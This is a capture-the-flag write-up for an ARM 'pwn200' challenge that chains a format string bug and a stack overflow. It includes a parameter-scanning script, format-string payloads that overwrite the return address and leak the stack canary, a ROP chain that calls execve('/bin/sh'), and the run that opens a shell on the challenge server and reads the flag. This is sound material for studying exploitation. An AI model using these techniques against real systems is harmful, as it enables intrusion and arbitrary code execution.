pn200 (200) - ARM format string / rop

Description: The terminator canary has blocked this path. Find a way to bypass it. 165.227.98.55:3333, 165.227.98.55:7777

Attachment: pwn200 xpl.py

pwn200: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, not stripped
[+] checksec for '/home/pi/hackit/pwn200/pwn200'
Canary                        : Yes
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

The challenge this time is an arm binary, which let’s us input two strings (CHECK and FIGHT).

After disassembling the code for the binary might look like this:

int main() {
    puts("Terminator canary blocks the way!");
    printf("CHECK> ");
    check();
    puts("I need your clothes, your boots and your motorcycle.");
    fight();
    puts("Stay determined...");    
    return 0;
}

void check() {
    char buf[2048]
    _isoc99_scanf("%2048s", &buf)
    printf(&buf);
}

int fight() {
    unsigned int result; 
    char buf[1024]; 
    int canary;  

    canary = _stack_chk_guard; 

    memset(&buf, 0, 1024); 
    result = read(0, &buf, 2048); 

    if ( canary != _stack_chk_guard )
        _stack_chk_fail(result);

    return result;
}

Obviously, there’s a format string vulnerability in check() and fight() is prone to a buffer overflow. But there’s a canary check, which prevents us from abusing the overflow (for now).

So, we should first try to leak the canary. The format string vuln will help with that. Though, it uses scanf to read our input, so no null bytes are allowed. Since the canary is stored at 0x00098f8c, we cannot pass it in our payload to put the address onto the stack and then read from it.

We also have only one shot with our format string, so we cannot put it on the stack with the first payload and read it with another one.

This means, we have to reuse the existing addresses on the stack. To make it easier to find appropriate format string parameters, I wrote a quick&dirty scanner (disable ASLR before running it locally)

def scan():
    with open("output", "w") as f:
        for i in range(1, 1000):
            try:
                r = process("./pwn200")
                r.recvuntil("CHECK> ")
                r.sendline("AAAA%%%d$p" % i)
                resp = r.recvline()

                if not "(nil)" in resp:
                    f.write("%d => %s\n" % (i, resp))
                r.close()
            except:
                continue

This will produce an output file, which can then be used, to search the available addresses in an editor and eases the pain to check every parameter. One could also parse the responses to make the output look a little bit nicer, but it should suffice for a ctf challenge.

2 => AAAA0x9a3fcI need your clothes, your boots and your motorcycle.
3 => AAAA0x7effea1cI need your clothes, your boots and your motorcycle.
5 => AAAA0x41414141I need your clothes, your boots and your motorcycle.
6 => AAAA0x70243625I need your clothes, your boots and your motorcycle.
...

Setting a breakpoint to main+152 will show us the stack address, at which the return address is stored (if we think in x86 terms)

----------------------------------------------------------------------------------------------------------[ code:armv4t ]----
      0x10680 <main+128>       add    r3,  pc,  r3
      0x10684 <main+132>       mov    r0,  r3
      0x10688 <main+136>       bl     0x17908 <puts>
      0x1068c <main+140>       mov    r3,  #0
      0x10690 <main+144>       mov    r0,  r3
      0x10694 <main+148>       sub    sp,  r11,  #8
 ->   0x10698 <main+152>       pop    {r4,  r11,  lr}
      0x1069c <main+156>       bx     lr
      0x106a0 <main+160>       andeq  r8,  r8,  r0,  ror #19
      0x106a4 <main+164>       andeq  r2,  r6,  r12,  ror r10
      0x106a8 <main+168>       andeq  r0,  r0,  r8,  lsl r0
      0x106ac <main+172>       andeq  r2,  r6,  r8,  ror r10
----------------------------------------------------------------------------------------------------------------[ stack ]----
0x7efff23c|+0x00: 0x7efff258 -> 0xad280609	<-$sp
0x7efff240|+0x04: 0x00000000
0x7efff244|+0x08: 0x00010950 <== lr
0x7efff248|+0x0c: 0x00000000
0x7efff24c|+0x10: 0x00000001

0x7efff244 holds the return address (lr gets called on next instruction by bx lr). Let’s do a quick search in the output file for 0x7efff244

460 => AAAA0x7efff244I need your clothes, your boots and your motorcycle.

Ok, the 460th format string parameter points to that address, so we can use it to overwrite the return address and get pc control.

Let’s point it back to the start of main

log.info("Overwrite RET to start infinite loop")
payload = "%%%du%%460$n" % 0x10600
r.sendline(payload)

This will result in an endless loop:

CHECK> $ a
aI need your clothes, your boots and your motorcycle.
FIGHT> $ a
Stay determined...
Terminator canary blocks the way!
CHECK> $ a
aI need your clothes, your boots and your motorcycle.
FIGHT> $ a
Stay determined...
Terminator canary blocks the way!
CHECK> $

Ok, much more comfortable :)

We might now be able to just put the address on the canary by sending a 4 byte aligned string with the canary address at the end, and then read it with the second check call, but I decided to use two combined format strings for this.

For this, just stop again in the check-function and search the memory, where the format string parameters are located

...
0x7efff214:	0x00000000	0x00000000	0x4090b100	0x00073108
0x7efff224:	0x00099000	0x7efff244	0x0001067c	0x00000000
0x7efff234:	0x00000000	0x00000000	0x7efff258	0x00000000  <-- Stack address
0x7efff244:	0x00010600	0x00000000	0x00000001	0x7efff394
0x7efff254:	0x00010600	0xca5e1122	0xb4a0ea7a	0x00098f8c  <-- pointing to second dword 
0x7efff264:	0x00000000	0x00010e10	0x00000000	0x00000000
0x7efff274:	0x00000000	0x00000000	0x00000000	0x00000000
0x7efff284:	0x00000000	0x00000000	0x00000000	0x00000000
0x7efff294:	0x00000000	0x00000000	0x00000000	0x00000000
...

And there’s a 0x7efff258, which points to another format string param. Searching 0x7efff258 in the output file, reveals that it’s number 525 and it’s pointing to 532. So we’ll be storing the address of the canary with parameter 525 and then read it with 532.

Keep in mind, that the lowest byte of the canary will be 0x0, so we’ll read just one byte higher and then append the 0x0 byte later on.

log.info("Write canary address to stack (Parameter 525 => 532)")
r.recvuntil("CHECK> ")
  
r.sendline("%%%du%%525$n" % (CANARYADDR + 1))
recvMult(r, CANARYADDR +1)  # receive junk
r.sendline()                # skip fight
    
log.info("Read canary from parameter 532")  

r.recvuntil("CHECK> ")
r.sendline("%532$s")

canary = u32("\x00"+r.recv(3))

log.info("Canary          : %s" % hex(canary))
[*] Overwrite RET to start infinite loop
[*] Write canary address to stack
[*] Read canary
[*] Canary           : 0x46998500

Now that we’re able to leak the canary, we can continue with the buffer overflow in the fight() function. We’ll be using it to call execve("/bin/sh", 0, 0), so we’d need /bin/sh somewhere in memory, but the binary doesn’t contain any occurence of this.

We can just put it at the beginning of our payload, though we’ll need the address to our payload then. For this, we can just leak a stack address first and then calculate the offset to our payload. Parameter 3 contains the address of the buffer used in check, and the buffer in fight will be 0x400 bytes behind that.

log.info("Read stack address from parameter 3 to calculate payload address")  
r.recvuntil("CHECK> ")

r.sendline("%3$p")

STACKLEAK = int(r.recvline()[:10], 16)
PAYLOADADDR = STACKLEAK + 0x400

log.info("Payload address : %s" % hex(PAYLOADADDR))

Since the binary is statically linked and doesn’t contain any references to execve or system, we’ll have to use rop to call execve via syscall.

We’ll be in thumb mode, when our payload will be executed, so for calling execve we have to fill our registers:

r7 = 0x0b (execve) / r0 = filename / r1 = argv / r2 = env

Plog.info("Overflow buffer to execute execve('/bin/sh', 0, 0)")
r.recvuntil("FIGHT> ")

POPR7LR = 0x19d20
POPR0LR = 0x70068
POPR1LR = 0x70590
POPR1R2LR = 0x6f9b0
SYSCALL = 0x000553b8

payload = "/bin/sh\x00"
payload += "A"*(1024-len(payload))
payload += p32(canary)  
payload += "B"*12 

# execve("/bin/sh", 0, 0) 
payload += p32(POPR7LR)
payload += p32(11)
payload += p32(POPR0LR)
payload += p32(PAYLOADADDR)
payload += p32(POPR1R2LR)
payload += p32(0)
payload += p32(0)
payload += p32(SYSCALL)

r.sendline(payload)

r.interactive()
$ python xpl.py 1

[+] Opening connection to 165.227.98.55 on port 7777: Done
[*] Overwrite RET with 'jump to main' to enter infinite loop
[*] Write canary address to stack (Parameter 525 => 532)
[*] Read canary from parameter 532
[*] Canary          : 0x75384c00
[*] Read stack address from parameter 3 to calculate payload address
[*] Payload address : 0xbea5d86c
[*] Overflow buffer to execute execve('/bin/sh', 0, 0)
[*] Switching to interactive mode

$ whoami
pwn200
$ cat /home/pwn200/flag.txt
h4ck1t{Sarah_would_be_proud}